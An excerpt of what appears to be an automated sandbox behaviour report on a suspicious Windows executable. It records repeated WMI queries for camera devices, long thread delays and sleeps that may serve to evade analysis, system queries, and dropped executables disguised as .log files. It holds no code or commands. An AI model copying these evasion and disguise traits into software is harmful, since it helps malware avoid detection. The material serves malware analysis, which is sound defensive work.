Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Memory allocated: 1110000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Memory allocated: 1AE40000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 599698	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 595427	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 595154	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 594328	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 593500	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 593000	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 592250	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 591906	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 591672	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 591375	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 591188	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 590951	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 590719	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 590344	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 590000	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 589735	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 589313	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 589139	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 588820	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 588571	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 588266	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 588109	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587984	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587874	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587764	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587654	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587547	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587420	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587312	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587203	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587093	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586985	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586872	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586766	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586641	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586531	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586408	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586281	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586169	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586063	Jump to behavior

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Window / User API: threadDelayed 6034			Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Window / User API: threadDelayed 3352			Jump to behavior

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wWLxmeJG.log			Jump to dropped file
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\BRNOuKzz.log			Jump to dropped file

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 6392	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -599698s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -598953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -598422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -598188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -597969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 3528	Thread sleep time: -28800000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -597188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -596719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -596375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -596047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -595703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -595427s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -595154s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -594719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -594328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -593735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -593500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -593000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -592250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -591906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -591672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -591375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -591188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -590951s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -590719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -590344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -590000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -589735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -589313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -589139s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -588820s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -588571s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -588266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -588109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -587984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -587874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -587764s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -587654s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -587547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -587420s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -587312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -587203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -587093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -586985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -586872s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -586766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -586641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -586531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -586408s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -586281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -586169s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe TID: 2640	Thread sleep time: -586063s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe

Code function: 0_2_00007FF848F1D59A GetSystemInfo,

0_2_00007FF848F1D59A

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 599891	Jump to behavior
